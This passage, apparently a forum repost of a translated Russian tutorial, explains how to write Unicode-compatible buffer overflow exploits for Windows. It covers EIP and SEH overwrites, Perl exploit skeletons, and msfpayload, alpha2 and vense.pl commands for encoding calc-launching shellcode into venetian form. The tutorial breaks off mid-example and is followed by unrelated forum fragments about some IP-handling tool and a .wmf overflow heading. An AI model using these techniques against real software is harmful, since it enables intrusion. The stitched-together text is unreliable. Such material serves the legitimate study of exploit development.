техника того, как превратить эти знания в рабочий шеллкод, и примерно через
месяц, Дэйв Аител выпустил скрипт для автоматизации этого процесса.
В 2004 году FX продемонстрировали новый скрипт, который позволит
оптимизировать эту технику еще дальше.
Наконец, некоторое время спустя, SkyLined выпустил свой знаменитый альфа-2
кодировщик для
паблика,
который также позволяет создавать юникод-совместимый шелл-код. Мы еще
поговорим об этих методах и инструментах позже.
2009 год – и вот мой туториал. Он не содержит ничего нового, но призван
собрать весь имеющийся материал воедино в этом документе.
Для того чтобы перейти от поиска 0×00410041 к созданию рабочих эксплойтов,
существует несколько вещей, которые необходимо уточнить в первую очередь.
Важно понимать, что такое юникод, почему данные преобразуются в юникод, как
происходит преобразование, что влияет на процесс преобразования, и как
преобразования влияют на процесс создания эксплойта.
Что такое Юникод и почему разработчик решает преобразовать данные в юникод?
Википедия гласит: « Юникод является стандартом кодирования символов, который
позволяет компьютерам представлять и манипулировать текстом, выраженном в
большинстве мировых письменных системах, неизменно.
Разработанный в тандеме со стандартом универсального набора символов и
опубликованный в виде книги, как стандарт Юникода, последняя версия Юникода
состоит из репертуара более 107000 символов охватывающих 90 скриптов, набора
кода для визуальной ссылки, методологии кодирования и набора стандартных
кодировок символов, перечисление характера свойств, таких как верхний и нижний
регистры, набор справочных файлов данных компьютера, а также ряд сопутствующих
товаров, таких как характер свойств, правила нормализации, декомпозиция,
сортировка, передача и двунаправленный порядок отображения (для правильного
отображения текста, содержащего скрипты как справа-налево, таких как арабский
или иврит, так и слева-направо). ».
Вкратце, Юникод позволяет визуально представить и / или манипулировать текстом
в большинстве систем по всему миру, в согласованном порядке. Таким образом,
приложения можно использовать по всему миру, не беспокоясь о том, как текст
будет выглядеть, когда отображается на компьютере - практически на любом
компьютере - в другой части мира.
Большинство из вас должны быть более или менее знакомы с ASCII. В сущности,
используется 7 бит для представления 128 символов, часто сохраняя их в 8 бит,
или в один байта за символ. Первый символ начинается с 00 и последний
представлен 7F в шестнадцатеричной системе. (Вы можете увидеть полную ASCII
таблицу, пройдя по адресу http://www.asciitable.com/).
Юникод бывает разным. Тем временем как есть много различных форм Юникода,
UTF-16 является одним из самых популярных. Это не удивительно, так как он
состоит из 16 бит, и разбивается в различные блоки/зоны (подробнее на
http://czyborra.com/unicode/characters.html). (К вашему сведению, расширение
было определено для того, чтобы обеспечить 32 бита). Просто помните: символы,
необходимые для сегодняшних живых языков, все еще должны быть помещены в
оригинальный Юникод плана 0 (a.k.a. Basic Multilangual Plane = BMP). Это
означает, что наиболее простые языковые символы, как те, которые используются
для написания данной статьи, представленные в Юникоде, начинаются с 00
(следуемый другим байтом, который соответствует шестнадцатеричному значению
оригинального ASCII символа).
Вы можете найти большой обзор различных кодов символов Юникода здесь
(http://unicode.org/charts/index.html).
Пример: ASCII символов 'A' = 41 (шестнадцатеричное значение), репрезентацией
Основного Латинского Юникода является 0041.
Существует еще очень много страниц кода, а некоторые из них не начинаются с
00. Это важно помнить, тоже.
Пока все хорошо - иметь единый способ представления символов это хорошо ... но
почему же многие вещи все еще в ASCII? Ну, большинство приложений, которые
работают со строками, используют нулевой байт null-терменированной строки. Так
что, если вы постараетесь наполнить юникод данные в ASCII-строку, то строка
будет закончена сразу же ... Вот почему, например, простые текстовые
приложения (такие как, SMTP, POP3 и т.д.) по-прежнему используют ASCII для
настройки связи. (Хорошо, полезная нагрузка может быть закодирована и может
использовать юникод, но транспоризация в приложении использует ASCII).
Если вы преобразуете ASCII текст в Юникод (кодовую страницу ANSI), то
результат будет выглядеть так, как если бы "00" добавляется перед каждым
байтом. Таким образом, AAAA (41 41 41 41) будет выглядеть так 0041 0041
0041 0041. Конечно, это всего лишь результат преобразования данных в широкий
символ данных. Результат любого преобразования юникода зависит от кодировки,
которая была использована.
Давайте посмотрим на функцию MultiByteToWideChar (которая отображает строку
символов в wide-character unicode символов):
Code:Copy to clipboard
int MultiByteToWideChar(
UINT CodePage,
DWORD dwFlags,
LPCSTR lpMultiByteStr,
int cbMultiByte,
LPWSTR lpWideCharStr,
int cchWideChar
);
Как вы можете видеть, кодировка важна. Некоторые возможные значения:
CP_ACP (ANSI кодировка, которая используется в Windows, также известный как
UTF-16), CP_OEMCP (OEM кодировка), CP_UTF7 (UTF-7 кодировка), CP_UTF8 (UTF-8
кодировка) и т.д.
Параметр lpMultiBytestr содержит строку символов, которые должны быть
преобразованы, и lpWideCharStr содержит указатель на буфер, который будет
получать переведенную (юникод) строку.
Так что это неправильно утверждать, что юникод = 00 + оригинальный байт. Это
зависит от кодировки.
Вы можете посмотреть код страницы, который используется в вашей системе,
взглянув на "Язык и региональные стандарты". В моей системе, это выглядит так:
Документ в FX показывает хорошую таблицу ASCII символов (в шестнадцатеричном
виде), а также различные представления юникода в шестнадцатеричном виде (ANSI,
OEM, UTF-7 и UTF-8). Вы заметите, что с ASCII 0×80 , некоторые из ANSI
представлений не содержат нулевых байтов больше (но они преобразуются в
0xc200XXXX или 0xc300XXXX), некоторые из OEM преобразований совершенно
разные, и так далее.
Поэтому важно помнить, что только ASCII символы между 01h и 7FH имеют
представительства в ANSI юникоде, где нулевые байты добавляются точно. Нам
понадобятся эти знания в дальнейшем.
Разработчик может решить использовать эту функцию по назначению, по очевидным
причинам (как указано выше). Но иногда разработчик может даже не знать, какое
расширение юникода будет использоваться " под колпаком ", когда приложение
построено/скомпелированно. Собственно говоря, Win32 API часто переводять
строки в Юникод прежде чем начать работать с ними. В некоторых случаях
(например, с Visual Studio), используемый API зависит от того устанавливается
макрос _ЮНИКОД во время сборки или нет. Если макрос установлен, подпрограммы и
типы отображаются на объектах, которые могут иметь дело с юникодом. API
функций могут измениться. Например, вызов CreateProcess меняется на
CreateProcessW (Unicode) или CreateProcessA (ANSI), основанный на статусе
макроса.
Что является результатом преобразования в Юникод/влияние на построение
эксплоита?
Когда входная строка преобразуется в ANSI юникод, ко всем символам от 0 × 00 и
0x7f, присоединятся спереди нулевой байт. Кроме того, множество символов выше
0x7F переводятся в 2 байта, и эти 2 байта могут не содержать исходный байт.
Это сводит на нет все, что мы изучали об эксплойтах и шеллкоде до сих пор.
Во всех предыдущих туториалах, мы пытались переписать EIP с 4 байтами (без
учета намеренной частичной перезаписи).
С Юникодом, вы контролируете только 2 байта из этих 4 байтов (2 других, скорее
всего, будет нулями ... таким образом, вы контролируете эти нули тоже)
Кроме этого, множество доступных инструкций (используются для прыжков, для
шеллкода и т. д.) становятся ограниченными. В конце концов, нулевой байт
помещается перед большинством байтов. И на вершине всего, другие байты (>
0x7F) просто преобразуются в нечто совсем другое. Статья Phrack (см. главу
2) объясняет, какие инструкции могут быть использованы, а какие нет.
Даже такие простые вещи, такие как куча nop-ов (0×90) становится
проблемой. Первый nop может работать. Второй nop (в связи с выравниванием)
станет инструкцией 0090 (или 009000) ... и это уже больше не nop.
Таким образом, это звучит так, как будто придется преодолевать много
препятствий. Неудивительно, что сначала люди думали, что написать эксплойт
было невозможно ...
Читайте документы
Я кратко объяснил, что произошло в последующие месяцы и годы после публикации
«Создание произвольных шеллкодов в строке с юникод расширением ".
Когда вы возвращаетесь к чтению и попыткам понять все эти документы и методы
(см. URL в начале этого туториала), становится ясно, что это отличный
материал. К сожалению, мне потребовалось некоторое время, чтобы понять и
скомпоновать все вместе. Хорошо, некоторые понятия хорошо объясняются в этих
документах ... но они показывают вам только часть картины. И я не мог найти
хорошие ресурсы, в которых все это было скомпоновано вместе.
К сожалению, и несмотря на мои усилия и на тот факт, что я задавал много
вопросов (по электронной почте, в Twitter, в списках рассылки и т.д.), я не
получил какую-либо весомую помощь от других людей.
Так что либо не так много людей хотели объяснить мне это (возможно, они
забыли, что они не родились с этими навыками ... они тоже должны были учиться
этому так или иначе), они были слишком заняты, чтобы отвечать на мой хромой
вопрос, или просто не могли объяснить мне, или они просто игнорировали меня,
потому что ...? Я не знаю.
В любом случае ... в конце концов, несколько добрых людей нашли время, чтобы
дать мне исчерпывающий ответ (а не просто ссылаясь на некие PDF документы
снова и снова). Спасибо, ребята. Если вы читаете это, и если вы хотите, чтобы
ваше имя было здесь, дайте мне знать.
Возвращаясь к этим PDF файлам ... хорошо, эти документы и инструменты довольно
хороши. Но каждый раз, когда я читал один из этих документов, я начинал
думать: «Хорошо, это здорово ... теперь как я могу применить это? Как
преобразовать эту концепцию в рабочий эксплойт ".
Пожалуйста, сделайте мне одолжение, и найдите время, чтобы прочитать эти
документы самостоятельно. Если вам удастся полностью понять, как построить
юникод эксплойты исключительно на основе этих документов, от А до Z, то это
здорово ..., то вы можете пропустить остаток этого туториала (или продолжить
читать и смеяться надо мной, потому что я с трудом понимал это в своё
время...)
Но если вы хотите узнать, как склеить все эти файлы в PDF формате и
инструменты вместе и пройти лишнюю милю, необходимую для преобразования этих
файлов в эксплойты, то читайте дальше.
Некоторые из вас могут быть знакомы с юникод эксплойтами, связанными с
ошибоками браузера и heap spray. Несмотря на то, что количество ошибок в
браузере значительно возросло за последние несколько лет (и число эксплойтов и
ресурсов увеличиваются), я не собираюсь обсуждать технику эксплойта сегодня.
Мое основное внимание будет сосоредоточено на том, чтобы объяснить стек на
основе переполнения, которое подлежит юникод преобразованию. Некоторые части
этого документа будут служить руководством при атаке браузеров, а также
(особенно часть этого документа, посвященная шеллкоду).
Можем ли мы создать эксплойт, когда наш буфер преобразован в юникод?
Прежде всего
Прежде всего, вы узнаете, что не существует всеобъемлющего шаблона для создания юникод эксплойтов. Каждый эксплойт может (и, вероятно, будет) быть разным, требовать разного подхода и может потребовать много работы и усилий. Вам придется играть со смещениями, регистрами, инструкциями, написать свою собственную линию венецианского шеллкода, и т.д. ... Так что пример, который я буду использовать сегодня, может не быть полезным во всех конкретных случаях. Пример, который я буду использовать, является только примером о том, как использовать различные техники, в основном демонстрирующие пути создания собственных строк кода и скомпоновать все вместе так, чтобы получить эксплойт, который делает то, что вы хотите, чтобы он делал.
EIP является 0×00410041. И что теперь?
В предыдущих туториалах мы обсуждали 2 вида эксплойтов: директива RET
перезаписи или SEH перезаписи. Эти 2 типа перезаписи, конечно, остаются в силе
с юникод эксплойтами. В типичной стеке на основе переполнения, вы либо
перезаписывыете RET с 4 байтами (но из-за юникода, только 2 байта находятся
под вашим контролем), либо перезаписывыете структурированные поля обработчика
исключений записи (следующий SEH и SE Handler), каждый с 4 байтами, опять
же, из которых только 2 находятся под вашим контролем.
Как мы можем по-прежнему злоупотреблять этим, чтобы заставить EIP делать то,
что мы хотим, чтобы он делал? Ответ прост: перезаписать 2 байта в EIP чем-то
полезным.
Директива RET: перезапись EIP чем-то полезным
Глобальная идея "прыжок в ваш шелл-код", когда владеешь EIP, является все той
же, является ли это ASCII или юникод переполнение буфера. В случае прямого RET
перезаписи, вы должны будете найти указатель на инструкцию (или серию
инструкций), который приведет вас к вашему шелл-коду, и вам нужно перезаписать
EIP с этим указателем. Таким образом, вы должны найти регистр, который
указывает на ваш буфер (даже если он содержит нулевые байты между каждым
символом - не нужно беспокоиться по этому поводу), и вам нужно перейти
(«перепрыгнуть») к этому регистру.
Единственная проблема заключается в том, что вы не можете просто взять любой
адрес. Адрес, который вам нужно поискать должен быть "отформатированным" таким
образом, что, если к символам спереди добавляются 00, адрес должен остаться
действительным.
Таким образом, по существу, у нас есть только 2 варианта:
1. найти адрес, который указывает на вашу jump/call/… инструкцию, и это выглядит так: 0x00nn00mm. Так что если вы перезапишите RET с 0xnn, 0xmm он станет 00nn00mm
или, наоборот, если вы не можете найти такой адрес:
2. найти адрес, который также отформатирован 0x00nn00mm, и близок к call/jump/… инструкции, которую вы хотите выполнить. Убедитесь, что инструкции между адресом и фактическими call/jump адресами не повредит ваш стек/регистры, и использует этот адрес.
Как мы можем найти такие адреса?
FX написал хороший плагин для OllyDbg
(http://www.openrce.org/downloads/details/120/OllyUni) (так называемый
OllyUNI (http://www.phenoelit-us.org/win/)), и мой собственный плагин для
ImmDbg pvefindaddr (http://www.corelan.be:8800/index.php/my-free-
tools/security/pvefindaddr-py-immunity-debugger-pycommand/) поможет вам с этой
задачей, а также:
Допустим, вам нужно перейти к eax. Скачайте pvefindaddr.py и поместите его в
папку pyCommand вашего ImmDbg установочного. Затем откройте уязвимое
приложение в ImmDbg и запустите
Code:Copy to clipboard
!pvefindaddr j eax
Это выдаст вам список всех адресов в "jump eax". Эти адреса будут отображаться не только в логе, но они также будут записаны в текстовый файл с именем j.txt.
Откройте этот файл и задайте поиск "Unicode".
Вы можете найти два типа записей: записи, которые говорят: "Возможно Юникод
совместимый" и записи, которые говорят "Юникод совместимый".
Если вы сможете найти "Юникод совместимые" адреса, то эти адреса будут в
0x00nn00mm форме. (Таким образом, вы должны быть в состоянии использовать один
из этих адресов без дальнейших исследований).
Если вы нашли " Возможно Юникод совместимые" адреса, то вы надо следить за
этими адресами. Они будут в 0x00nn0mmm форме. Так что если вы взгляните в
инструкции между 0x00nn00mm и 0x00nn0mmm, и вы видите, что эти инструкции не
будут вредить приложению flow/registers/…, то вы можете использовать
0x00nn00mm адрес (и это будет встречатся на всем пути, пока не достигнет
call/jump инструкции в 0x00nn0mmm). В сущности, вы будете прыгать более или
менее близко/рядом к реальной инструкции, и будете надеяться, что инструкции
между вашим местоположением и реальный прыжком не убьют вас.
![](/proxy.php?image=http%3A%2F%2Fwww.corelan.be%3A8800%2Fwp- content%2Fuploads%2F2009%2F11%2Fimage_thumb1.png&hash=049cf9342ce71a856c21be54f8eeeabf)
OllyUN I в основном будет делать то же самое. Он будет искать Юникод дружественные адреса. Собственно говоря, он будет искать все call/jump reg/… инструкции (так что вам придется пройти через лог и смотреть сможете ли вы найти адрес, который прыгает на нужный регистр).
В принципе, мы ищем адреса, которые содержат нулевые байты в нужном месте.
Если EIP содержит 0x00nn00mm, то вы должны найти адрес с тем же форматом. Если
EIP содержит 0xnn00mm00, то вы должны найти адрес с этим форматом.
В прошлом мы всегда старались избегать нулевых байтов, так как он действует
как ограничитель строки. На этот раз нам нужны адреса с нулевыми байтами. Нам
не нужно беспокоиться об ограничении строки, потому что мы не собираемся
ставить нулевые байты в строку, которая передается в приложение. Юникод
преобразование будет вставлять нулевые байты для нас автоматически.
Давайте предположим, что вы нашли адрес, который сделает прыжок. Скажем, адрес
0x005E0018. Этот адрес не содержит символы, которые имеют шестигранную > 7f
значение. Так что адрес должен работать.
Я полагаю, что вы поняли, после какого количества байт вы перезапишите
сохраненный EIP. (Вы можете использовать метасплоит шаблон для этого, но вам
придется смотреть на байты до и после перезаписи EIP, для того чтобы получить
не менее 4 символов). Я покажу пример того, как сделать соответствие позже в
этом туториале.
Предположим, что вы перезаписываете EIP после отправки 500 А. И вы хотите
перезаписать EIP с "jump eax (в 0x005e0018) " (потому что EAX указывает на
А), тогда ваш скрипт должен выглядеть следующим образом:
Code:Copy to clipboard
my $junk="A" x 500;
my $ret="\x18\x5e";
my $payload=$junk.$ret;
Таким образом, вместо того, чтобы перезаписывать EIP с паком ('V',
0x005E0018), вы перезаписываете EIP с 5E 18. Юникод добавляет нулевые байты
перед 5E, и между 5E и 18, так EIP будет перезаписан с 005e0018.
(string-to-widechar преобразоване позаботилось о правильном добавлении нулей,
которые мы хотели добавить. Шаг 1 выполнен.)
SEH основанный: владение EIP + short jump? (или нет?)
Что делать, если уязвимость основана на SEH? Из части 3 и 3б туториала, мы
знаем, что мы должны переписать SE Handler с указателем на pop pop ret, и
переписать nSEH с коротким прыжком (short jump).
С юникодом, вам все равно придется переписывать SE Handler с указателем на pop
pop ret. Опять же, pvefindaddr поможет нам:
Code:Copy to clipboard
!pvefindaddr p2
Опять же, это выведет запись в лог, а также в файл под названием ppr2.txt.
Откройте файл и поищите "Unicode" еще раз. Если вы сможете найти вход, который
не содержит байты > 7f, то вы можете попробовать переписать SE Handler с этим
адресом. Опять же, оставьте нулевые байты (они будут добавлены автоматически в
связи с юникод преобразованием). В nseh, положите \xcc\xcc (2 точки остановки,
2 байта. Опять же, нулевые байты будут добавлены), и посмотрите, что
произойдет.
Если все пойдет хорошо, pop pop ret выполнена, вы будете перенаправлены на
первую точку остановки.
В не юникод эксплойтах, вам придется заменять эти точки остановки в nseh с
short jump-ом и делать jump через адрес SE Handler на шеллкод. Но я могу
заверить вас, что прописывая short jump в юникоде, только с 2 байтами,
отделенных нулевыми байтами ... не рассчитывайте на это. Он не будет работать.
Так что на этом и заканчивается.
SEH основанный: jump
Окей. Это не конец. Я просто шучу. Мы можем сделать это, при определенных
условиях. Я объясню, как это работает на примере, который приводится внизу
этого поста, поэтому сейчас я буду придерживаться теории. Все станет ясно,
когда вы взгляните на пример, так что не волнуйтесь. (и если вы не понимаете,
просто спросите. Я буду более чем счастлив объяснить вам).
Теория: вместо того чтобы писать код, чтобы сделать короткий прыжок (short
jump) (0xeb, 0 × 06), возможно, мы можем запустить эксплойт безвредного кода,
так, что он просто пройдет по перезаписанным nseh и seh, и закончится сразу в
том месте, где мы должны перезаписали SEH, выполняя код, который мы поместили
после того, как перезаписали SE структуру. Собственно говоря это то, чего мы
хотели достичь в первую очередь, перепрыгивая через nSEH и SEH.
Для того чтобы сделать это, нам нужно 2 вещи:
- Несколько инструкций, которые при исполнении не будут причинять никакого вреда. Нам нужно поместить эти инструкции в nSEH и
- юникод совместимый адрес используемый для перезаписи SE Handler не должен, когда выполняется как инструкция, причинять никакого вреда тоже.
Сбивает с толку? Не паникуйте. Я объясню это дальше подробно в примере, приведенном ниже в этом блоге.
Ну так что, мы можем только поставить 0x00nn00nn в EIP?
Да, и нет. Если вы посмотрите на таблицу юникод
перевода,
вы можете иметь некоторые другие опции, рядом с очевидным форматом
0x00nn00nn.
Ascii значения, представленные в шестнадцатеричном виде > 0x7f переводятся по-
разному. В большинстве из этих случаев (см. таблицу на стр. 15 - 17), перевод
превращает юникод версию во что-то другое.
Например 0 × 82 становится 1A20. Так что, если вы сможете найти адрес в
формате 0x00nn201A, то вы можете использовать тот факт, что 0 × 82, будет
автоматически пересчитано в 201A.
Единственная проблема, с которой вы можете столкнуться, это если вы строите
эксплойт на основе SEH, это может привести к проблеме, потому что после pop
pop ret, адресные байты выполняются как инструкции. Пока инструкции действуют
как nops, или не вызывают больших изменений, все идет прекрасно. Я думаю, что
вам просто надо проверить все доступные "юникод совместимые" адреса и
убедиться самим, есть ли адрес, который будет работать. Опять же, вы можете
использовать pvefindaddr (Immdbg плагин) для поиска нужного pop pop ret
адреса, который являются юникод совместимым.
Адреса, которые вы будете искать могут начинаться или заканчиваться:
ac20 (=80 ASCII), 1a20 (=82 ASCII), 9201 (=83 ASCII), 1e20 (=84 ASCII) , и
так далее (просто посмотрите на таблицу перевода.). Успех не гарантирован, но
это стоит попробовать.
Готов запустить шеллкод ... Но готов ли шеллкод?
Хорошо, теперь мы знаем, что положить в EIP. Но если вы посмотрите на свой ASCII шеллкод: он также будет содержать нулевые байты, и, если он использует инструкции (коды операций) выше 0x7F, инструкции, возможно, даже изменились. Как мы можем сделать это? Есть ли способ для преобразования ASCII шелл-кода (такие же, как те, которые создаются с метасплоит) в юникод совместимый шелл- код? Или мы должны написать наш собственный материал? Мы собираемся выяснить это.
Шеллкод: Техника 1: Найти ASCII эквивалент и перепрыгнуть к ней
В большинстве случаев, ASCII строка, которая подавалась в приложение
преобразуется в юникод после того, как она была поставлена в стек или в
память. Это означает, что это возможно найти ASCII версию вашего шеллкода где-
то. Так что, если вы сможете указать EIP, чтобы он перепрыгнул к этому месту,
это может сработать.
Если ASCII версия не достижима напрямую (прыжком в регистр), но вы
контролируете содержимое одного из регистров, то вы можете перейти в этот
регистр, и поместить некоторые основные jump-коды в том месте, которое сделает
прыжок на ASCII версию. Мы поговорим об этом jump-коде позже.
Хороший пример эксплойта, который использует эту технику можно найти здесь.
Шеллкод: Техника 2: Пишем свой юникод-совместимый шеллкод с нуля
Правильно. Это возможно, нелегко, но возможно ... но есть лучшие способы. (см. техника 3)
Шеллкод: Техника 3: Использование декодера
Хорошо, мы знаем, что шеллкод генерируемый в метасплоит (или написанный вами)
не будет работать. Если шеллкод не был написан специально для юникода, он не
будет работать. (нулевые байты вставляются, опкоды изменились, и т.д.).
К счастью, пару умных людей придумали несколько инструментов (на основе
концепции венецианского шелл-кода), которые решат этот вопрос. (Dave Aitel, FX
и SkyLined).
По сути, все сводится к следующему: Вам нужно закодировать ASCII шеллкод в
юникод-совместимый код, перед именем декодера (также юникод-совместимого).
Затем, когда декодер выполнен, он раскодирует исходный код и выполнит его.
Существуют 2 основных способа сделать это: либо воспроизведя исходный код в
отдельном месте памяти, и затем прыгать на то место, или путем изменения кода
"в линии", и затем запустить воспроизведенный шеллкод. Вы можете прочитать все
об этих инструментах (и принципах, на которых они основаны) в соответствующих
документах, упомянутых в начале этого блога. Первый метод требует 2 вещи: один
из реестров должен указывать на начало декодер+шеллкод, и один регистр должен
указывать на область памяти, куда можно записать (и где это лучше, чтобы
записать новый собранный шеллкод). Второй метод требует, чтобв только один из
регистров указывал на начало декодер+шеллкод, и оригинальный шеллкод будет
собран на месте.
Можем ли мы использовать эти инструменты для создания рабочих шеллкодов, и
если да, то как мы должны их использовать? Давайте выясним.
1. makeunicode2.py (Dave Aitel)
Этот скрипт является частью CANVAS, коммерческий инструмент от Immunity. Так как я не имеют лицензии, я не был в состоянии проверить это (и, следовательно, я не могу объяснить, как им пользоваться).
2.vense.pl (FX)
На основании объяснений FX в 2004 его Blackhat презентации
(http://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf), этот
удивительный Perl скрипт, кажется, производит усовершенствованную версию,
которую можно получить makeunicode2.py
Выходной файл этого скрипта является строкой байт, содержащей декодер и
оригинальный шеллкод все-в-одном. Таким образом, вместо того, чтобы размещать
метасплоит сгенерированный шелл-код в буфер, вам необходимо поместить выходной
файл vense.pl в буфер.
Для того, чтобы иметь возможность использовать декодер, вы должны быть в
состоянии создать регистры следующим образом: один регистр должен указывать
непосредственно на начало место расположения буфера, где ваш шеллкод (vense.pl
сгенерированный шелл-код) будет помещен .
(В следующей главе я объясню, как изменить значения в регистрах, так чтобы вы
могли указать один регистр в любое место куда вы хотите.). Далее, вам нужно
иметь второй регистр, который указывает на ячейку памяти, доступную для записи
и исполнения (RWX), и где лучше всего делать записи данных (без повреждения
чего-нибудь еще).
Предположим, что регистр, который будет создан для того, чтобы указывать на
начало vense-генерируемых шеллкодов, является eax, и edi указывает на
местоположение для записи:
редактируем vense.pl и устанавливаем $basereg и $writable параметры до необходимого значения.
![](/proxy.php?image=http%3A%2F%2Fwww.corelan.be%3A8800%2Fwp- content%2Fuploads%2F2009%2F11%2Fimage_thumb2.png&hash=1ecc53bbc0bbd4b6a4ab7ca6da760255)
Далее, прокрутите вниз, и поищите $secondstage
Удалите содержимое этой переменной и замените его на свой собственный (сгенерированный метасплойтом) Perl шеллкод. (Это ASCII шеллкода, который запустится после того, как декодер сделает свое дело.)
![](/proxy.php?image=http%3A%2F%2Fwww.corelan.be%3A8800%2Fwp- content%2Fuploads%2F2009%2F11%2Fimage_thumb3.png&hash=1e6338cd49ec042035545bdf2d7b7f56)
Сохраните файл и запустите скрипт.
Выходной файл будет показывать:
_- Оригинал шеллкода
- Новый шеллкод (тот, который включает в себя декодер)._
Теперь используйте этот «новый» шеллкод в вашем эксплойте и убедитесь, eax
указывает на начало этого шеллкода. Вам, скорее всего, придется настроить
регистры (если вам повезло).
Когда регистры созданы, просто запустите "jump eax" и декодер извлечет
оригинальный шелл-код и запустит его. Опять же, в следующей главе я вам
покажу, как установить/настроить регистры и сделать прыжок (jump) с
использованием юникод-совместимого кода. Примечание 1: вновь созданный
шифровщик+шеллкод будет работать только когда он преобразуется в юникод, а
затем запустится. Таким образом, вы не сможете использовать этот тип шеллкода
в не-юникод эксплойте.
Примечание 2: несмотря на то, что алгоритм, используемый в этом скрипте
является улучшением по сравнению с makeunicode2.py, вам все равно в конечном
итоге закончите с довольно длинным шеллкодом. Так что вам нужно собственное
пространство буфера (или короткие, не сложные шелл-коды) для того, чтобы
использовать эту технику.
3. альфа2 (SkyLined)
Знаменитый альфа-2 кодировщик (также адаптированный в другие инструменты, такие как метасплойт, и куча других инструментов) будет принимать ваши оригинальный шеллкод, заворачивать его в декодер (очень похоже на то, что vense.pl делает), но преимуществом здесь является
_- Вам нужно всего лишь регистр, который указывает на начало этого шеллкода. Вам не нужен дополнительный регистр, доступный для записи/исполнения.
- Декодер развернет исходный код на месте. Декодер самомодифицирующийся, и
общее количество необходимого размера буфера меньше.
(в документации говорится, что "декодер изменяет свой собственный код, чтобы
избежать ограничений буквенно-цифрового кода. Он создает декодер цикл, который
декодирует оригинальный шеллкод из закодированных данных. Он перезаписывает
закодированные данные с декодированным шелл-кодом и передает выполнение
закончит. Чтобы это сделать, ему нужно прочитать, записать и выполнить
разрешение на памяти, где он работает, и ему нужно знать его место в памяти
(это baseaddress) _
Вот как это работает:
_1. генерируется необработанный шеллкод с msf полезной нагрузкой
2. необработанный шеллкод преобразовывается в юникод строку, используя альфа-2:_
Code:Copy to clipboard
root@bt4:/# cd pentest
root@bt4:/pentest# cd exploits/
root@bt4:/pentest/exploits# cd framework3
./msfpayload windows/exec CMD=calc R > /pentest/exploits/runcalc.raw
root@bt4:/pentest/exploits/framework3# cd ..
root@bt4:/pentest/exploits# cd alpha2
./alpha2 eax --unicode --uppercase < /pentest/exploits/runcalc.raw
PPYAIAIAIAIAQATAXAZAPA3QAD...0LJA
(Я удалил большую часть выходных данных. Просто создайте свой собственный
шелл-код и скопируйте/вставьте выходные данные в ваш эксплойт скрипт)
Расположите выходные данные alpha2 преобразования в $shellcode переменную в
вашем эксплойте. Опять же, убедитесь, что регистр (eax в моем примере)
указывает на первый символ этого шеллкода, и убедитесь, что стоит переход на
eax (jmp eax) (после создания регистра, если это было необходимо)
Если вы не можете подготовить/использовать регистр в качестве базового адреса,
то альфа-2 также поддерживает метод, который попытается рассчитать свой
базовый адрес с помощью SEH. И вместо указания регистра, просто укажите SEH.
Таким образом, вы можете просто запустить код (даже если он не указывает
непосредственно на один из регистров), и он все еще будет способен
декодировать и запустить оригинальный шелл-код).
4. Метасплойт
Я попытался создать юникод совместимый шелл-код с помощью метасплойта, но изначально он не работает так, как я ожидал…
Code:Copy to clipboard
root@krypt02:/pentest/exploits/framework3#
./msfpayload windows/exec CMD=calc R |
./msfencode -e x86/unicode_upper BufferRegister=EAX -t perl
[-] x86/unicode_upper failed: BadChar; 0 to 1
[-] No encoders succeeded.
(Залил сюда https://metasploit.com/redmine/issues/430)
Стивен Фювер предложил такое решение этой проблемы:
./msfpayload windows/exec CMD=calc R |
./msfencode -e x86/alpha_mixed -t raw |
./msfencode -e x86/unicode_upper BufferRegister=EAX -t perl
(поставьте все на одну строку)
(в основном, прежде кодируйте с alpha_mixed, а затем с unicode_upper).
Выходной будет юникод совместимым шеллкодом для Perl
Результат: Метасплоит также может сделать это.
5. UniShellGenerator Back Khoa Internetwork Security (http://security.bkis.vn/)
Этот инструмент продемонстрирован в этой презентации. К сожалению, я не смог найти копию этого инструмента нигде, и человек/люди, которые писали инструмент не ответил мне также ...
Присоединение одиного к другому: подготовка регистров и переход к шеллкоду
Для того, чтобы бы выполнить шеллкод, вы должны достигнуть шеллкода. Является
ли это ASCII версией шеллкода, или юникод версией (декодер), вам нужно, прежде
всего, попасть туда. Для того, чтобы сделать это, вам часто будет необходимо
создавать регистры определенным образом, используя собственный венецианский
шеллкод и/или написать код, который будет осуществлять прыжок на данный
реестр.
Написание этих строк кода требует немного творчества, требует, чтобы вы думали
о регистрах, и будет требовать, чтобы вы могли писать некоторые основные
ассемблер инструкции.
Написание jumpcode основывается исключительно на принципах венецианского
шеллкода. Это означает, что
- У вас есть только ограниченный набор команд
- вам нужно следить за нулевыми байтами. Когда код помещается в стек, будут
вставлены нулевые байты. Так что инструкции должны работать, когда нулевые
байты добавляются
- вам нужно думать об опкоде выравнивания
Пример 1.
Допустим, вы нашли ASCII версию вашего шеллкода, без изменений, при 0 ×
33445566, и вы заметили, что вы также контролируете eax. Вы перезаписываете
EIP с прыжком в eax, и теперь, идея заключается в том, чтобы написать
несколько строк кода в eax, который совершит прыжок на 0 × 33445566.
Если бы это не являлось юникодом, мы могли бы сделать это, используя следующие
инструкции:
Code:Copy to clipboard
bb66554433 #mov ebx,33445566h
ffe3 #jmp ebx
=> Мы бы расположили следующий код в eax: \xbb\x66\x55\x44\x33\xff\xe3 , и
мы бы перезаписали EIP с “jump eax”.
Но это юникод. Таким образом, очевидно, что это не будет работать.
Как мы можем достичь того же с юникодом совместимыми инструкциями?
Давайте взглянем на инструкцию mov в первую очередь. “mov ebx” = 0xbb,
сопровождается тем, что вы хотите поместить в ebx. Этот параметр должен быть в
00nn00mm формате (так, когда нулевые байты вставлены, они будут вставлены туда
где уже есть нули (или там, где мы ожидаем нули), не вызывая вопросов в
инструкции). Например, вы можете сделать mov ebx, 33005500. Опкод для этого
будет такой
bb00550033 #mov ebx,33005500h
Так байты для записи в eax (в нашем примере) следующие \xbb\x55\x33. Юникод
вставит нулевые байты, в результате выдавая \xbb\x00\x55\x00\x33, что на самом
деле является инструкцией, которая нам нужна.
Та же самая техника применяется для добавления и суб инструкции.
Вы можете использовать inc, dec инструкции также, чтобы изменить регистры или
перенести позиции в стеке.
Статья Phrack о Построение IA32 "Unicode-Proof " Shellcodes показывает всю
последовательность присоединения любого адреса в данный регистр, показывая,
что именно я имею в виду. Возвращаясь к нашему примеру, мы хотим положить 0 ×
33445566 в eax. Вот как это делается:
Code:Copy to clipboard
mov eax,0xAA004400 ; set EAX to 0xAA004400
push eax
dec esp
pop eax ; EAX = 0x004400
Вот собрал на досуге.
Гляньте , прокоментируйте....
Исправил проскакивание некотрых IP
Добавил запиь лог файла
Переполнение буфера при обработке метафайлов .wmf
Уязвимые версии: Windows XP, 2003
